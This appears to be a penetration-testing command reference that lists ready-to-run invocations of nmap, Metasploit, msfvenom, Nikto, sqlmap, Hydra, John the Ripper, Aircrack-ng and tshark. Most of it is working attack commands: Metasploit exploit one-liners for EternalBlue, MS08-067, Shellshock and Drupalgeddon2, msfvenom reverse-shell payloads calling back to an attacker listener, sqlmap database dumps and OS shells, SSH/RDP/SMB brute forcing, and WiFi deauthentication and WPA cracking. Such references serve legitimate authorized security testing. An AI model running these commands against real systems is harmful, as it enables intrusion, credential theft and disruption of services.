Pentest Commands
Purpose
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
Inputs/Prerequisites
- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- Wordlists for brute forcing
- Network access to target systems
- Basic understanding of tool syntax
Outputs/Deliverables
- Network enumeration results
- Identified vulnerabilities
- Exploitation payloads
- Cracked credentials
- Web vulnerability findings
Core Workflow
1. Nmap Commands
Host Discovery:
bash# Ping sweep nmap -sP 192.168.1.0/24 # List IPs without scanning nmap -sL 192.168.1.0/24 # Ping scan (host discovery) nmap -sn 192.168.1.0/24
Port Scanning:
bash# TCP SYN scan (stealth) nmap -sS 192.168.1.1 # Full TCP connect scan nmap -sT 192.168.1.1 # UDP scan nmap -sU 192.168.1.1 # All ports (1-65535) nmap -p- 192.168.1.1 # Specific ports nmap -p 22,80,443 192.168.1.1
Service Detection:
bash# Service versions nmap -sV 192.168.1.1 # OS detection nmap -O 192.168.1.1 # Comprehensive scan nmap -A 192.168.1.1 # Skip host discovery nmap -Pn 192.168.1.1
NSE Scripts:
bash# Vulnerability scan nmap --script vuln 192.168.1.1 # SMB enumeration nmap --script smb-enum-shares -p 445 192.168.1.1 # HTTP enumeration nmap --script http-enum -p 80 192.168.1.1 # Check EternalBlue nmap --script smb-vuln-ms17-010 192.168.1.1 # Check MS08-067 nmap --script smb-vuln-ms08-067 192.168.1.1 # SSH brute force nmap --script ssh-brute -p 22 192.168.1.1 # FTP anonymous nmap --script ftp-anon 192.168.1.1 # DNS brute force nmap --script dns-brute 192.168.1.1 # HTTP methods nmap -p80 --script http-methods 192.168.1.1 # HTTP headers nmap -p80 --script http-headers 192.168.1.1 # SQL injection check nmap --script http-sql-injection -p 80 192.168.1.1
Advanced Scans:
bash# Xmas scan nmap -sX 192.168.1.1 # ACK scan (firewall detection) nmap -sA 192.168.1.1 # Window scan nmap -sW 192.168.1.1 # Traceroute nmap --traceroute 192.168.1.1
2. Metasploit Commands
Basic Usage:
bash# Launch Metasploit msfconsole # Search for exploits search type:exploit name:smb # Use exploit use exploit/windows/smb/ms17_010_eternalblue # Show options show options # Set target set RHOST 192.168.1.1 # Set payload set PAYLOAD windows/meterpreter/reverse_tcp # Run exploit exploit
Common Exploits:
bash# EternalBlue msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit" # MS08-067 (Conficker) msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit" # vsftpd backdoor msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit" # Shellshock msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit" # Drupalgeddon2 msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit" # PSExec msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
Scanners:
bash# TCP port scan msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run" # SMB version scan msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run" # SMB share enumeration msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run" # SSH brute force msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # FTP brute force msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run" # RDP scanning msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
Handler Setup:
bash# Multi-handler for reverse shells msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
Payload Generation (msfvenom):
bash# Windows reverse shell msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe # Linux reverse shell msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf # PHP reverse shell msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php # ASP reverse shell msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp # WAR file msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war # Python payload msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
3. Nikto Commands
bash# Basic scan nikto -h http://192.168.1.1 # Comprehensive scan nikto -h http://192.168.1.1 -C all # Output to file nikto -h http://192.168.1.1 -output report.html # Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots nikto -h http://192.168.1.1 -Plugins shellshock nikto -h http://192.168.1.1 -Plugins heartbleed nikto -h http://192.168.1.1 -Plugins ssl # Export to Metasploit nikto -h http://192.168.1.1 -Format msf+ # Specific tuning nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
4. SQLMap Commands
bash# Basic injection test sqlmap -u "http://192.168.1.1/page?id=1" # Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs # Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables # Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump # OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell # POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" # Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" # Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment # Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
5. Hydra Commands
bash# SSH brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1 # FTP brute force hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1 # HTTP POST form hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # HTTP Basic Auth hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/ # SMB brute force hydra -l admin -P passwords.txt smb://192.168.1.1 # RDP brute force hydra -l admin -P passwords.txt rdp://192.168.1.1 # MySQL brute force hydra -l root -P passwords.txt mysql://192.168.1.1 # Username list hydra -L users.txt -P passwords.txt ssh://192.168.1.1
6. John the Ripper Commands
bash# Crack password file john hash.txt # Specify wordlist john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # Show cracked passwords john hash.txt --show # Specify format john hash.txt --format=raw-md5 john hash.txt --format=nt john hash.txt --format=sha512crypt # SSH key passphrase ssh2john id_rsa > ssh_hash.txt john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt # ZIP password zip2john file.zip > zip_hash.txt john zip_hash.txt
7. Aircrack-ng Commands
bash# Monitor mode airmon-ng start wlan0 # Capture packets airodump-ng wlan0mon # Target specific network airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Deauth attack aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon # Crack WPA handshake aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
8. Wireshark/Tshark Commands
bash# Capture traffic tshark -i eth0 -w capture.pcap # Read capture file tshark -r capture.pcap # Filter by protocol tshark -r capture.pcap -Y "http" # Filter by IP tshark -r capture.pcap -Y "ip.addr == 192.168.1.1" # Extract HTTP data tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
Quick Reference
Common Port Scans
bash# Quick scan nmap -F 192.168.1.1 # Full comprehensive nmap -sV -sC -A -p- 192.168.1.1 # Fast with version nmap -sV -T4 192.168.1.1
Password Hash Types
| Mode | Type |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
Constraints
- Always have written authorization
- Some scans are noisy and detectable
- Brute forcing may lock accounts
- Rate limiting affects tools
Examples
Example 1: Quick Vulnerability Scan
bashnmap -sV --script vuln 192.168.1.1
Example 2: Web App Test
bashnikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
Troubleshooting
| Issue | Solution |
|---|---|
| Scan too slow | Increase timing (-T4, -T5) |
| Ports filtered | Try different scan types |
| Exploit fails | Check target version compatibility |
| Passwords not cracking | Try larger wordlists, rules |
